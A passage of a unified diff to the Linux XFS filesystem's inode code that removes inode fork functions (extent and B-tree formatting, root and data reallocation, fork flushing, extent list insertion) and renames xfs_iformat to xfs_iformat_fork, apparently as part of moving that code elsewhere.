xfs_bmbt_rec_t *dp; - xfs_ifork_t *ifp; - int nex; - int size; - int i; - - ifp = XFS_IFORK_PTR(ip, whichfork); - nex = XFS_DFORK_NEXTENTS(dip, whichfork); - size = nex * (uint)sizeof(xfs_bmbt_rec_t); - - /* - * If the number of extents is unreasonable, then something - * is wrong and we just bail out rather than crash in - * kmem_alloc() or memcpy() below. - */ - if (unlikely(size < 0 || size > XFS_DFORK_SIZE(dip, ip->i_mount, whichfork))) { - xfs_warn(ip->i_mount, "corrupt inode %Lu ((a)extents = %d).", - (unsigned long long) ip->i_ino, nex); - XFS_CORRUPTION_ERROR("xfs_iformat_extents(1)", XFS_ERRLEVEL_LOW, - ip->i_mount, dip); - return XFS_ERROR(EFSCORRUPTED); - } - - ifp->if_real_bytes = 0; - if (nex == 0) - ifp->if_u1.if_extents = NULL; - else if (nex <= XFS_INLINE_EXTS) - ifp->if_u1.if_extents = ifp->if_u2.if_inline_ext; - else - xfs_iext_add(ifp, 0, nex); - - ifp->if_bytes = size; - if (size) { - dp = (xfs_bmbt_rec_t *) XFS_DFORK_PTR(dip, whichfork); - xfs_validate_extents(ifp, nex, XFS_EXTFMT_INODE(ip)); - for (i = 0; i < nex; i++, dp++) { - xfs_bmbt_rec_host_t *ep = xfs_iext_get_ext(ifp, i); - ep->l0 = get_unaligned_be64(&dp->l0); - ep->l1 = get_unaligned_be64(&dp->l1); - } - XFS_BMAP_TRACE_EXLIST(ip, nex, whichfork); - if (whichfork != XFS_DATA_FORK || - XFS_EXTFMT_INODE(ip) == XFS_EXTFMT_NOSTATE) - if (unlikely(xfs_check_nostate_extents( - ifp, 0, nex))) { - XFS_ERROR_REPORT("xfs_iformat_extents(2)", - XFS_ERRLEVEL_LOW, - ip->i_mount); - return XFS_ERROR(EFSCORRUPTED); - } - } - ifp->if_flags |= XFS_IFEXTENTS; - return 0; -} - -/* - * The file has too many extents to fit into - * the inode, so they are in B-tree format. - * Allocate a buffer for the root of the B-tree - * and copy the root into it. The i_extents - * field will remain NULL until all of the - * extents are read in (when they are needed). - */ -STATIC int -xfs_iformat_btree( - xfs_inode_t *ip, - xfs_dinode_t *dip, - int whichfork) -{ - struct xfs_mount *mp = ip->i_mount; - xfs_bmdr_block_t *dfp; - xfs_ifork_t *ifp; - /* REFERENCED */ - int nrecs; - int size; - - ifp = XFS_IFORK_PTR(ip, whichfork); - dfp = (xfs_bmdr_block_t *)XFS_DFORK_PTR(dip, whichfork); - size = XFS_BMAP_BROOT_SPACE(mp, dfp); - nrecs = be16_to_cpu(dfp->bb_numrecs); - - /* - * blow out if -- fork has less extents than can fit in - * fork (fork shouldn't be a btree format), root btree - * block has more records than can fit into the fork, - * or the number of extents is greater than the number of - * blocks. - */ - if (unlikely(XFS_IFORK_NEXTENTS(ip, whichfork) <= - XFS_IFORK_MAXEXT(ip, whichfork) || - XFS_BMDR_SPACE_CALC(nrecs) > - XFS_DFORK_SIZE(dip, mp, whichfork) || - XFS_IFORK_NEXTENTS(ip, whichfork) > ip->i_d.di_nblocks)) { - xfs_warn(mp, "corrupt inode %Lu (btree).", - (unsigned long long) ip->i_ino); - XFS_CORRUPTION_ERROR("xfs_iformat_btree", XFS_ERRLEVEL_LOW, - mp, dip); - return XFS_ERROR(EFSCORRUPTED); - } - - ifp->if_broot_bytes = size; - ifp->if_broot = kmem_alloc(size, KM_SLEEP | KM_NOFS); - ASSERT(ifp->if_broot != NULL); - /* - * Copy and convert from the on-disk structure - * to the in-memory structure. - */ - xfs_bmdr_to_bmbt(ip, dfp, XFS_DFORK_SIZE(dip, ip->i_mount, whichfork), - ifp->if_broot, size); - ifp->if_flags &= ~XFS_IFEXTENTS; - ifp->if_flags |= XFS_IFBROOT; - - return 0; -} - STATIC void xfs_dinode_from_disk( xfs_icdinode_t *to, @@ -1088,13 +711,13 @@ xfs_iread( /* * If the on-disk inode is already linked to a directory * entry, copy all of the inode into the in-core inode. - * xfs_iformat() handles copying in the inode format + * xfs_iformat_fork() handles copying in the inode format * specific information. * Otherwise, just get the truly permanent information. */ if (dip->di_mode) { xfs_dinode_from_disk(&ip->i_d, dip); - error = xfs_iformat(ip, dip); + error = xfs_iformat_fork(ip, dip); if (error) { #ifdef DEBUG xfs_alert(mp, "%s: xfs_iformat() returned error %d", @@ -1171,44 +794,6 @@ xfs_iread( } /* - * Read in extents from a btree-format inode. - * Allocate and fill in if_extents. Real work is done in xfs_bmap.c. - */ -int -xfs_iread_extents( - xfs_trans_t *tp, - xfs_inode_t *ip, - int whichfork) -{ - int error; - xfs_ifork_t *ifp; - xfs_extnum_t nextents; - - if (unlikely(XFS_IFORK_FORMAT(ip, whichfork) != XFS_DINODE_FMT_BTREE)) { - XFS_ERROR_REPORT("xfs_iread_extents", XFS_ERRLEVEL_LOW, - ip->i_mount); - return XFS_ERROR(EFSCORRUPTED); - } - nextents = XFS_IFORK_NEXTENTS(ip, whichfork); - ifp = XFS_IFORK_PTR(ip, whichfork); - - /* - * We know that the size is valid (it's checked in iformat_btree) - */ - ifp->if_bytes = ifp->if_real_bytes = 0; - ifp->if_flags |= XFS_IFEXTENTS; - xfs_iext_add(ifp, 0, nextents); - error = xfs_bmap_read_extents(tp, ip, whichfork); - if (error) { - xfs_iext_destroy(ifp); - ifp->if_flags &= ~XFS_IFEXTENTS; - return error; - } - xfs_validate_extents(ifp, nextents, XFS_EXTFMT_INODE(ip)); - return 0; -} - -/* * Allocate an inode on disk and return a copy of its in-core version. * The in-core inode is locked exclusively. Set mode, nlink, and rdev * appropriately within the inode. The uid and gid for the inode are @@ -2087,272 +1672,6 @@ xfs_ifree( } /* - * Reallocate the space for if_broot based on the number of records - * being added or deleted as indicated in rec_diff. Move the records - * and pointers in if_broot to fit the new size. When shrinking this - * will eliminate holes between the records and pointers created by - * the caller. When growing this will create holes to be filled in - * by the caller. - * - * The caller must not request to add more records than would fit in - * the on-disk inode root. If the if_broot is currently NULL, then - * if we adding records one will be allocated. The caller must also - * not request that the number of records go below zero, although - * it can go to zero. - * - * ip -- the inode whose if_broot area is changing - * ext_diff -- the change in the number of records, positive or negative, - * requested for the if_broot array. - */ -void -xfs_iroot_realloc( - xfs_inode_t *ip, - int rec_diff, - int whichfork) -{ - struct xfs_mount *mp = ip->i_mount; - int cur_max; - xfs_ifork_t *ifp; - struct xfs_btree_block *new_broot; - int new_max; - size_t new_size; - char *np; - char *op; - - /* - * Handle the degenerate case quietly. - */ - if (rec_diff == 0) { - return; - } - - ifp = XFS_IFORK_PTR(ip, whichfork); - if (rec_diff > 0) { - /* - * If there wasn't any memory allocated before, just - * allocate it now and get out. - */ - if (ifp->if_broot_bytes == 0) { - new_size = XFS_BMAP_BROOT_SPACE_CALC(mp, rec_diff); - ifp->if_broot = kmem_alloc(new_size, KM_SLEEP | KM_NOFS); - ifp->if_broot_bytes = (int)new_size; - return; - } - - /* - * If there is already an existing if_broot, then we need - * to realloc() it and shift the pointers to their new - * location. The records don't change location because - * they are kept butted up against the btree block header. - */ - cur_max = xfs_bmbt_maxrecs(mp, ifp->if_broot_bytes, 0); - new_max = cur_max + rec_diff; - new_size = XFS_BMAP_BROOT_SPACE_CALC(mp, new_max); - ifp->if_broot = kmem_realloc(ifp->if_broot, new_size, - XFS_BMAP_BROOT_SPACE_CALC(mp, cur_max), - KM_SLEEP | KM_NOFS); - op = (char *)XFS_BMAP_BROOT_PTR_ADDR(mp, ifp->if_broot, 1, - ifp->if_broot_bytes); - np = (char *)XFS_BMAP_BROOT_PTR_ADDR(mp, ifp->if_broot, 1, - (int)new_size); - ifp->if_broot_bytes = (int)new_size; - ASSERT(XFS_BMAP_BMDR_SPACE(ifp->if_broot) <= - XFS_IFORK_SIZE(ip, whichfork)); - memmove(np, op, cur_max * (uint)sizeof(xfs_dfsbno_t)); - return; - } - - /* - * rec_diff is less than 0. In this case, we are shrinking the - * if_broot buffer. It must already exist. If we go to zero - * records, just get rid of the root and clear the status bit. - */ - ASSERT((ifp->if_broot != NULL) && (ifp->if_broot_bytes > 0)); - cur_max = xfs_bmbt_maxrecs(mp, ifp->if_broot_bytes, 0); - new_max = cur_max + rec_diff; - ASSERT(new_max >= 0); - if (new_max > 0) - new_size = XFS_BMAP_BROOT_SPACE_CALC(mp, new_max); - else - new_size = 0; - if (new_size > 0) { - new_broot = kmem_alloc(new_size, KM_SLEEP | KM_NOFS); - /* - * First copy over the btree block header. - */ - memcpy(new_broot, ifp->if_broot, - XFS_BMBT_BLOCK_LEN(ip->i_mount)); - } else { - new_broot = NULL; - ifp->if_flags &= ~XFS_IFBROOT; - } - - /* - * Only copy the records and pointers if there are any. - */ - if (new_max > 0) { - /* - * First copy the records. - */ - op = (char *)XFS_BMBT_REC_ADDR(mp, ifp->if_broot, 1); - np = (char *)XFS_BMBT_REC_ADDR(mp, new_broot, 1); - memcpy(np, op, new_max * (uint)sizeof(xfs_bmbt_rec_t)); - - /* - * Then copy the pointers. - */ - op = (char *)XFS_BMAP_BROOT_PTR_ADDR(mp, ifp->if_broot, 1, - ifp->if_broot_bytes); - np = (char *)XFS_BMAP_BROOT_PTR_ADDR(mp, new_broot, 1, - (int)new_size); - memcpy(np, op, new_max * (uint)sizeof(xfs_dfsbno_t)); - } - kmem_free(ifp->if_broot); - ifp->if_broot = new_broot; - ifp->if_broot_bytes = (int)new_size; - if (ifp->if_broot) - ASSERT(XFS_BMAP_BMDR_SPACE(ifp->if_broot) <= - XFS_IFORK_SIZE(ip, whichfork)); - return; -} - - -/* - * This is called when the amount of space needed for if_data - * is increased or decreased. The change in size is indicated by - * the number of bytes that need to be added or deleted in the - * byte_diff parameter. - * - * If the amount of space needed has decreased below the size of the - * inline buffer, then switch to using the inline buffer. Otherwise, - * use kmem_realloc() or kmem_alloc() to adjust the size of the buffer - * to what is needed. - * - * ip -- the inode whose if_data area is changing - * byte_diff -- the change in the number of bytes, positive or negative, - * requested for the if_data array. - */ -void -xfs_idata_realloc( - xfs_inode_t *ip, - int byte_diff, - int whichfork) -{ - xfs_ifork_t *ifp; - int new_size; - int real_size; - - if (byte_diff == 0) { - return; - } - - ifp = XFS_IFORK_PTR(ip, whichfork); - new_size = (int)ifp->if_bytes + byte_diff; - ASSERT(new_size >= 0); - - if (new_size == 0) { - if (ifp->if_u1.if_data != ifp->if_u2.if_inline_data) { - kmem_free(ifp->if_u1.if_data); - } - ifp->if_u1.if_data = NULL; - real_size = 0; - } else if (new_size <= sizeof(ifp->if_u2.if_inline_data)) { - /* - * If the valid extents/data can fit in if_inline_ext/data, - * copy them from the malloc'd vector and free it. - */ - if (ifp->if_u1.if_data == NULL) { - ifp->if_u1.if_data = ifp->if_u2.if_inline_data; - } else if (ifp->if_u1.if_data != ifp->if_u2.if_inline_data) { - ASSERT(ifp->if_real_bytes != 0); - memcpy(ifp->if_u2.if_inline_data, ifp->if_u1.if_data, - new_size); - kmem_free(ifp->if_u1.if_data); - ifp->if_u1.if_data = ifp->if_u2.if_inline_data; - } - real_size = 0; - } else { - /* - * Stuck with malloc/realloc. - * For inline data, the underlying buffer must be - * a multiple of 4 bytes in size so that it can be - * logged and stay on word boundaries. We enforce - * that here. - */ - real_size = roundup(new_size, 4); - if (ifp->if_u1.if_data == NULL) { - ASSERT(ifp->if_real_bytes == 0); - ifp->if_u1.if_data = kmem_alloc(real_size, - KM_SLEEP | KM_NOFS); - } else if (ifp->if_u1.if_data != ifp->if_u2.if_inline_data) { - /* - * Only do the realloc if the underlying size - * is really changing. - */ - if (ifp->if_real_bytes != real_size) { - ifp->if_u1.if_data = - kmem_realloc(ifp->if_u1.if_data, - real_size, - ifp->if_real_bytes, - KM_SLEEP | KM_NOFS); - } - } else { - ASSERT(ifp->if_real_bytes == 0); - ifp->if_u1.if_data = kmem_alloc(real_size, - KM_SLEEP | KM_NOFS); - memcpy(ifp->if_u1.if_data, ifp->if_u2.if_inline_data, - ifp->if_bytes); - } - } - ifp->if_real_bytes = real_size; - ifp->if_bytes = new_size; - ASSERT(ifp->if_bytes <= XFS_IFORK_SIZE(ip, whichfork)); -} - -void -xfs_idestroy_fork( - xfs_inode_t *ip, - int whichfork) -{ - xfs_ifork_t *ifp; - - ifp = XFS_IFORK_PTR(ip, whichfork); - if (ifp->if_broot != NULL) { - kmem_free(ifp->if_broot); - ifp->if_broot = NULL; - } - - /* - * If the format is local, then we can't have an extents - * array so just look for an inline data array. If we're - * not local then we may or may not have an extents list, - * so check and free it up if we do. - */ - if (XFS_IFORK_FORMAT(ip, whichfork) == XFS_DINODE_FMT_LOCAL) { - if ((ifp->if_u1.if_data != ifp->if_u2.if_inline_data) && - (ifp->if_u1.if_data != NULL)) { - ASSERT(ifp->if_real_bytes != 0); - kmem_free(ifp->if_u1.if_data); - ifp->if_u1.if_data = NULL; - ifp->if_real_bytes = 0; - } - } else if ((ifp->if_flags & XFS_IFEXTENTS) && - ((ifp->if_flags & XFS_IFEXTIREC) || - ((ifp->if_u1.if_extents != NULL) && - (ifp->if_u1.if_extents != ifp->if_u2.if_inline_ext)))) { - ASSERT(ifp->if_real_bytes != 0); - xfs_iext_destroy(ifp); - } - ASSERT(ifp->if_u1.if_extents == NULL || - ifp->if_u1.if_extents == ifp->if_u2.if_inline_ext); - ASSERT(ifp->if_real_bytes == 0); - if (whichfork == XFS_ATTR_FORK) { - kmem_zone_free(xfs_ifork_zone, ip->i_afp); - ip->i_afp = NULL; - } -} - -/* * This is called to unpin an inode. The caller must have the inode locked * in at least shared mode so that the buffer cannot be subsequently pinned * once someone is waiting for it to be unpinned. @@ -2395,201 +1714,43 @@ xfs_iunpin_wait( __xfs_iunpin_wait(ip); } -/* - * xfs_iextents_copy() - * - * This is called to copy the REAL extents (as opposed to the delayed - * allocation extents) from the inode into the given buffer. It - * returns the number of bytes copied into the buffer. - * - * If there are no delayed allocation extents, then we can just - * memcpy() the extents into the buffer. Otherwise, we need to - * examine each extent in turn and skip those which are delayed. - */ -int -xfs_iextents_copy( - xfs_inode_t *ip, - xfs_bmbt_rec_t *dp, - int whichfork) +STATIC int +xfs_iflush_cluster( + xfs_inode_t *ip, + xfs_buf_t *bp) { - int copied; + xfs_mount_t *mp = ip->i_mount; + struct xfs_perag *pag; + unsigned long first_index, mask; + unsigned long inodes_per_cluster; + int ilist_size; + xfs_inode_t **ilist; + xfs_inode_t *iq; + int nr_found; + int clcount = 0; + int bufwasdelwri; int i; - xfs_ifork_t *ifp; - int nrecs; - xfs_fsblock_t start_block; - ifp = XFS_IFORK_PTR(ip, whichfork); - ASSERT(xfs_isilocked(ip, XFS_ILOCK_EXCL|XFS_ILOCK_SHARED)); - ASSERT(ifp->if_bytes > 0); + pag = xfs_perag_get(mp, XFS_INO_TO_AGNO(mp, ip->i_ino)); - nrecs = ifp->if_bytes / (uint)sizeof(xfs_bmbt_rec_t); - XFS_BMAP_TRACE_EXLIST(ip, nrecs, whichfork); - ASSERT(nrecs > 0); + inodes_per_cluster = XFS_INODE_CLUSTER_SIZE(mp) >> mp->m_sb.sb_inodelog; + ilist_size = inodes_per_cluster * sizeof(xfs_inode_t *); + ilist = kmem_alloc(ilist_size, KM_MAYFAIL|KM_NOFS); + if (!ilist) + goto out_put; - /* - * There are some delayed allocation extents in the - * inode, so copy the extents one at a time and skip - * the delayed ones. There must be at least one - * non-delayed extent. - */ - copied = 0; - for (i = 0; i < nrecs; i++) { - xfs_bmbt_rec_host_t *ep = xfs_iext_get_ext(ifp, i); - start_block = xfs_bmbt_get_startblock(ep); - if (isnullstartblock(start_block)) { - /* - * It's a delayed allocation extent, so skip it. - */ - continue; - } - - /* Translate to on disk format */ - put_unaligned(cpu_to_be64(ep->l0), &dp->l0); - put_unaligned(cpu_to_be64(ep->l1), &dp->l1); - dp++; - copied++; - } - ASSERT(copied != 0); - xfs_validate_extents(ifp, copied, XFS_EXTFMT_INODE(ip)); - - return (copied * (uint)sizeof(xfs_bmbt_rec_t)); -} - -/* - * Each of the following cases stores data into the same region - * of the on-disk inode, so only one of them can be valid at - * any given time. While it is possible to have conflicting formats - * and log flags, e.g. having XFS_ILOG_?DATA set when the fork is - * in EXTENTS format, this can only happen when the fork has - * changed formats after being modified but before being flushed. - * In these cases, the format always takes precedence, because the - * format indicates the current state of the fork. - */ -/*ARGSUSED*/ -STATIC void -xfs_iflush_fork( - xfs_inode_t *ip, - xfs_dinode_t *dip, - xfs_inode_log_item_t *iip, - int whichfork, - xfs_buf_t *bp) -{ - char *cp; - xfs_ifork_t *ifp; - xfs_mount_t *mp; - static const short brootflag[2] = - { XFS_ILOG_DBROOT, XFS_ILOG_ABROOT }; - static const short dataflag[2] = - { XFS_ILOG_DDATA, XFS_ILOG_ADATA }; - static const short extflag[2] = - { XFS_ILOG_DEXT, XFS_ILOG_AEXT }; - - if (!iip) - return; - ifp = XFS_IFORK_PTR(ip, whichfork); - /* - * This can happen if we gave up in iformat in an error path, - * for the attribute fork. - */ - if (!ifp) { - ASSERT(whichfork == XFS_ATTR_FORK); - return; - } - cp = XFS_DFORK_PTR(dip, whichfork); - mp = ip->i_mount; - switch (XFS_IFORK_FORMAT(ip, whichfork)) { - case XFS_DINODE_FMT_LOCAL: - if ((iip->ili_fields & dataflag[whichfork]) && - (ifp->if_bytes > 0)) { - ASSERT(ifp->if_u1.if_data != NULL); - ASSERT(ifp->if_bytes <= XFS_IFORK_SIZE(ip, whichfork)); - memcpy(cp, ifp->if_u1.if_data, ifp->if_bytes); - } - break; - - case XFS_DINODE_FMT_EXTENTS: - ASSERT((ifp->if_flags & XFS_IFEXTENTS) || - !(iip->ili_fields & extflag[whichfork])); - if ((iip->ili_fields & extflag[whichfork]) && - (ifp->if_bytes > 0)) { - ASSERT(xfs_iext_get_ext(ifp, 0)); - ASSERT(XFS_IFORK_NEXTENTS(ip, whichfork) > 0); - (void)xfs_iextents_copy(ip, (xfs_bmbt_rec_t *)cp, - whichfork); - } - break; - - case XFS_DINODE_FMT_BTREE: - if ((iip->ili_fields & brootflag[whichfork]) && - (ifp->if_broot_bytes > 0)) { - ASSERT(ifp->if_broot != NULL); - ASSERT(XFS_BMAP_BMDR_SPACE(ifp->if_broot) <= - XFS_IFORK_SIZE(ip, whichfork)); - xfs_bmbt_to_bmdr(mp, ifp->if_broot, ifp->if_broot_bytes, - (xfs_bmdr_block_t *)cp, - XFS_DFORK_SIZE(dip, mp, whichfork)); - } - break; - - case XFS_DINODE_FMT_DEV: - if (iip->ili_fields & XFS_ILOG_DEV) { - ASSERT(whichfork == XFS_DATA_FORK); - xfs_dinode_put_rdev(dip, ip->i_df.if_u2.if_rdev); - } - break; - - case XFS_DINODE_FMT_UUID: - if (iip->ili_fields & XFS_ILOG_UUID) { - ASSERT(whichfork == XFS_DATA_FORK); - memcpy(XFS_DFORK_DPTR(dip), - &ip->i_df.if_u2.if_uuid, - sizeof(uuid_t)); - } - break; - - default: - ASSERT(0); - break; - } -} - -STATIC int -xfs_iflush_cluster( - xfs_inode_t *ip, - xfs_buf_t *bp) -{ - xfs_mount_t *mp = ip->i_mount; - struct xfs_perag *pag; - unsigned long first_index, mask; - unsigned long inodes_per_cluster; - int ilist_size; - xfs_inode_t **ilist; - xfs_inode_t *iq; - int nr_found; - int clcount = 0; - int bufwasdelwri; - int i; - - pag = xfs_perag_get(mp, XFS_INO_TO_AGNO(mp, ip->i_ino)); - - inodes_per_cluster = XFS_INODE_CLUSTER_SIZE(mp) >> mp->m_sb.sb_inodelog; - ilist_size = inodes_per_cluster * sizeof(xfs_inode_t *); - ilist = kmem_alloc(ilist_size, KM_MAYFAIL|KM_NOFS); - if (!ilist) - goto out_put; - - mask = ~(((XFS_INODE_CLUSTER_SIZE(mp) >> mp->m_sb.sb_inodelog)) - 1); - first_index = XFS_INO_TO_AGINO(mp, ip->i_ino) & mask; - rcu_read_lock(); - /* really need a gang lookup range call here */ - nr_found = radix_tree_gang_lookup(&pag->pag_ici_root, (void**)ilist, - first_index, inodes_per_cluster); - if (nr_found == 0) - goto out_free; - - for (i = 0; i < nr_found; i++) { - iq = ilist[i]; - if (iq == ip) + mask = ~(((XFS_INODE_CLUSTER_SIZE(mp) >> mp->m_sb.sb_inodelog)) - 1); + first_index = XFS_INO_TO_AGINO(mp, ip->i_ino) & mask; + rcu_read_lock(); + /* really need a gang lookup range call here */ + nr_found = radix_tree_gang_lookup(&pag->pag_ici_root, (void**)ilist, + first_index, inodes_per_cluster); + if (nr_found == 0) + goto out_free; + + for (i = 0; i < nr_found; i++) { + iq = ilist[i]; + if (iq == ip) continue; /* @@ -2993,1038 +2154,6 @@ corrupt_out: } /* - * Return a pointer to the extent record at file index idx. - */ -xfs_bmbt_rec_host_t * -xfs_iext_get_ext( - xfs_ifork_t *ifp, /* inode fork pointer */ - xfs_extnum_t idx) /* index of target extent */ -{ - ASSERT(idx >= 0); - ASSERT(idx < ifp->if_bytes / sizeof(xfs_bmbt_rec_t)); - - if ((ifp->if_flags & XFS_IFEXTIREC) && (idx == 0)) { - return ifp->if_u1.if_ext_irec->er_extbuf; - } else if (ifp->if_flags & XFS_IFEXTIREC) { - xfs_ext_irec_t *erp; /* irec pointer */ - int erp_idx = 0; /* irec index */ - xfs_extnum_t page_idx = idx; /* ext index in target list */ - - erp = xfs_iext_idx_to_irec(ifp, &page_idx, &erp_idx, 0); - return &erp->er_extbuf[page_idx]; - } else if (ifp->if_bytes) { - return &ifp->if_u1.if_extents[idx]; - } else { - return NULL; - } -} - -/* - * Insert new item(s) into the extent records for incore inode - * fork 'ifp'. 'count' new items are inserted at index 'idx'. - */ -void -xfs_iext_insert( - xfs_inode_t *ip, /* incore inode pointer */ - xfs_extnum_t idx, /* starting index of new items */ - xfs_extnum_t count, /* number of inserted items */ - xfs_bmbt_irec_t *new, /* items to insert */ - int state) /* type of extent conversion */ -{ - xfs_ifork_t *ifp = (state & BMAP_ATTRFORK) ? ip->i_afp : &ip->i_df; - xfs_extnum_t i; /* extent record index */ - - trace_xfs_iext_insert(ip, idx, new, state, _RET_IP_); - - ASSERT(ifp->if_flags & XFS_IFEXTENTS); - xfs_iext_add(ifp, idx, count); - for (i = idx; i < idx + count; i++, new++) - xfs_bmbt_set_all(xfs_iext_get_ext(ifp, i), new); -} - -/* - * This is called when the amount of space required for incore file - * extents needs to be increased. The ext_diff parameter stores the - * number of new extents being added and the idx parameter contains - * the extent index where the new extents will be added. If the new - * extents are being appended, then we just need to (re)allocate and - * initialize the space. Otherwise, if the new extents are being - * inserted into the middle of the existing entries, a bit more work - * is required to make room for the new extents to be inserted. The - * caller is responsible for filling in the new extent entries upon - * return. - */ -void -xfs_iext_add( - xfs_ifork_t *ifp, /* inode fork pointer */ - xfs_extnum_t idx, /* index to begin adding exts */ - int ext_diff) /* number of extents to add */ -{ - int byte_diff; /* new bytes being added */ - int new_size; /* size of extents after adding */ - xfs_extnum_t nextents; /* number of extents in file */ - - nextents = ifp->if_bytes / (uint)sizeof(xfs_bmbt_rec_t); - ASSERT((idx >= 0) && (idx <= nextents)); - byte_diff = ext_diff * sizeof(xfs_bmbt_rec_t); - new_size = ifp->if_bytes + byte_diff; - /* - * If the new number of extents (nextents + ext_diff) - * fits inside the inode, then continue to use the inline - * extent buffer. - */ - if (nextents + ext_diff <= XFS_INLINE_EXTS) { - if (idx < nextents) { - memmove(&ifp->if_u2.if_inline_ext[idx + ext_diff], - &ifp->if_u2.if_inline_ext[idx], - (nextents - idx) * sizeof(xfs_bmbt_rec_t)); - memset(&ifp->if_u2.if_inline_ext[idx], 0, byte_diff); - } - ifp->if_u1.if_extents = ifp->if_u2.if_inline_ext; - ifp->if_real_bytes = 0; - } - /* - * Otherwise use a linear (direct) extent list. - * If the extents are currently inside the inode, - * xfs_iext_realloc_direct will switch us from - * inline to direct extent allocation mode. - */ - else if (nextents + ext_diff <= XFS_LINEAR_EXTS) { - xfs_iext_realloc_direct(ifp, new_size); - if (idx < nextents) { - memmove(&ifp->if_u1.if_extents[idx + ext_diff], - &ifp->if_u1.if_extents[idx], - (nextents - idx) * sizeof(xfs_bmbt_rec_t)); - memset(&ifp->if_u1.if_extents[idx], 0, byte_diff); - } - } - /* Indirection array */ - else { - xfs_ext_irec_t *erp; - int erp_idx = 0; - int page_idx = idx; - - ASSERT(nextents + ext_diff > XFS_LINEAR_EXTS); - if (ifp->if_flags & XFS_IFEXTIREC) { - erp = xfs_iext_idx_to_irec(ifp, &page_idx, &erp_idx, 1); - } else { - xfs_iext_irec_init(ifp); - ASSERT(ifp->if_flags & XFS_IFEXTIREC); - erp = ifp->if_u1.if_ext_irec; - } - /* Extents fit in target extent page */ - if (erp && erp->er_extcount + ext_diff <= XFS_LINEAR_EXTS) { - if (page_idx < erp->er_extcount) { - memmove(&erp->er_extbuf[page_idx + ext_diff], - &erp->er_extbuf[page_idx], - (erp->er_extcount - page_idx) * - sizeof(xfs_bmbt_rec_t)); - memset(&erp->er_extbuf[page_idx], 0, byte_diff); - } - erp->er_extcount += ext_diff; - xfs_iext_irec_update_extoffs(ifp, erp_idx + 1, ext_diff); - } - /* Insert a new extent page */ - else if (erp) { - xfs_iext_add_indirect_multi(ifp, - erp_idx, page_idx, ext_diff); - } - /* - * If extent(s) are being appended to the last page in - * the indirection array and the new extent(s) don't fit - * in the page, then erp is NULL and erp_idx is set to - * the next index needed in the indirection array. - */ - else { - int count = ext_diff; - - while (count) { - erp = xfs_iext_irec_new(ifp, erp_idx); - erp->er_extcount = count; - count -= MIN(count, (int)XFS_LINEAR_EXTS); - if (count) { - erp_idx++; - } - } - } - } - ifp->if_bytes = new_size; -} - -/* - * This is called when incore extents are being added to the indirection - * array and the new extents do not fit in the target extent list. The - * erp_idx parameter contains the irec index for the target extent list - * in the indirection array, and the idx parameter contains the extent - * index within the list. The number of extents being added is stored - * in the count parameter. - * - * |-------| |-------| - * | | | | idx - number of extents before idx - * | idx | | count | - * | | | | count - number of extents being inserted at idx - * |-------| |-------| - * | count | | nex2 | nex2 - number of extents after idx + count - * |-------| |-------| - */ -void -xfs_iext_add_indirect_multi( - xfs_ifork_t *ifp, /* inode fork pointer */ - int erp_idx, /* target extent irec index */ - xfs_extnum_t idx, /* index within target list */ - int count) /* new extents being added */ -{ - int byte_diff; /* new bytes being added */ - xfs_ext_irec_t *erp; /* pointer to irec entry */ - xfs_extnum_t ext_diff; /* number of extents to add */ - xfs_extnum_t ext_cnt; /* new extents still needed */ - xfs_extnum_t nex2; /* extents after idx + count */ - xfs_bmbt_rec_t *nex2_ep = NULL; /* temp list for nex2 extents */ - int nlists; /* number of irec's (lists) */ - - ASSERT(ifp->if_flags & XFS_IFEXTIREC); - erp = &ifp->if_u1.if_ext_irec[erp_idx]; - nex2 = erp->er_extcount - idx; - nlists = ifp->if_real_bytes / XFS_IEXT_BUFSZ; - - /* - * Save second part of target extent list - * (all extents past */ - if (nex2) { - byte_diff = nex2 * sizeof(xfs_bmbt_rec_t); - nex2_ep = (xfs_bmbt_rec_t *) kmem_alloc(byte_diff, KM_NOFS); - memmove(nex2_ep, &erp->er_extbuf[idx], byte_diff); - erp->er_extcount -= nex2; - xfs_iext_irec_update_extoffs(ifp, erp_idx + 1, -nex2); - memset(&erp->er_extbuf[idx], 0, byte_diff); - } - - /* - * Add the new extents to the end of the target - * list, then allocate new irec record(s) and - * extent buffer(s) as needed to store the rest - * of the new extents. - */ - ext_cnt = count; - ext_diff = MIN(ext_cnt, (int)XFS_LINEAR_EXTS - erp->er_extcount); - if (ext_diff) { - erp->er_extcount += ext_diff; - xfs_iext_irec_update_extoffs(ifp, erp_idx + 1, ext_diff); - ext_cnt -= ext_diff; - } - while (ext_cnt) { - erp_idx++; - erp = xfs_iext_irec_new(ifp, erp_idx); - ext_diff = MIN(ext_cnt, (int)XFS_LINEAR_EXTS); - erp->er_extcount = ext_diff; - xfs_iext_irec_update_extoffs(ifp, erp_idx + 1, ext_diff); - ext_cnt -= ext_diff; - } - - /* Add nex2 extents back to indirection array */ - if (nex2) { - xfs_extnum_t ext_avail; - int i; - - byte_diff = nex2 * sizeof(xfs_bmbt_rec_t); - ext_avail = XFS_LINEAR_EXTS - erp->er_extcount; - i = 0; - /* - * If nex2 extents fit in the current page, append - * nex2_ep after the new extents. - */ - if (nex2 <= ext_avail) { - i = erp->er_extcount; - } - /* - * Otherwise, check if space is available in the - * next page. - */ - else if ((erp_idx < nlists - 1) && - (nex2 <= (ext_avail = XFS_LINEAR_EXTS - - ifp->if_u1.if_ext_irec[erp_idx+1].er_extcount))) { - erp_idx++; - erp++; - /* Create a hole for nex2 extents */ - memmove(&erp->er_extbuf[nex2], erp->er_extbuf, - erp->er_extcount * sizeof(xfs_bmbt_rec_t)); - } - /* - * Final choice, create a new extent page for - * nex2 extents. - */ - else { - erp_idx++; - erp = xfs_iext_irec_new(ifp, erp_idx); - } - memmove(&erp->er_extbuf[i], nex2_ep, byte_diff); - kmem_free(nex2_ep); - erp->er_extcount += nex2; - xfs_iext_irec_update_extoffs(ifp, erp_idx + 1, nex2); - } -} - -/* - * This is called when the amount of space required for incore file - * extents needs to be decreased. The ext_diff parameter stores the - * number of extents to be removed and the idx parameter contains - * the extent index where the extents will be removed from. - * - * If the amount of space needed has decreased below the linear - * limit, XFS_IEXT_BUFSZ, then switch to using the contiguous - * extent array. Otherwise, use kmem_realloc() to adjust the - * size to what is needed. - */ -void -xfs_iext_remove( - xfs_inode_t *ip, /* incore inode pointer */ - xfs_extnum_t idx, /* index to begin removing exts */ - int ext_diff, /* number of extents to remove */ - int state) /* type of extent conversion */ -{ - xfs_ifork_t *ifp = (state & BMAP_ATTRFORK) ? ip->i_afp : &ip->i_df; - xfs_extnum_t nextents; /* number of extents in file */ - int new_size; /* size of extents after removal */ - - trace_xfs_iext_remove(ip, idx, state, _RET_IP_); - - 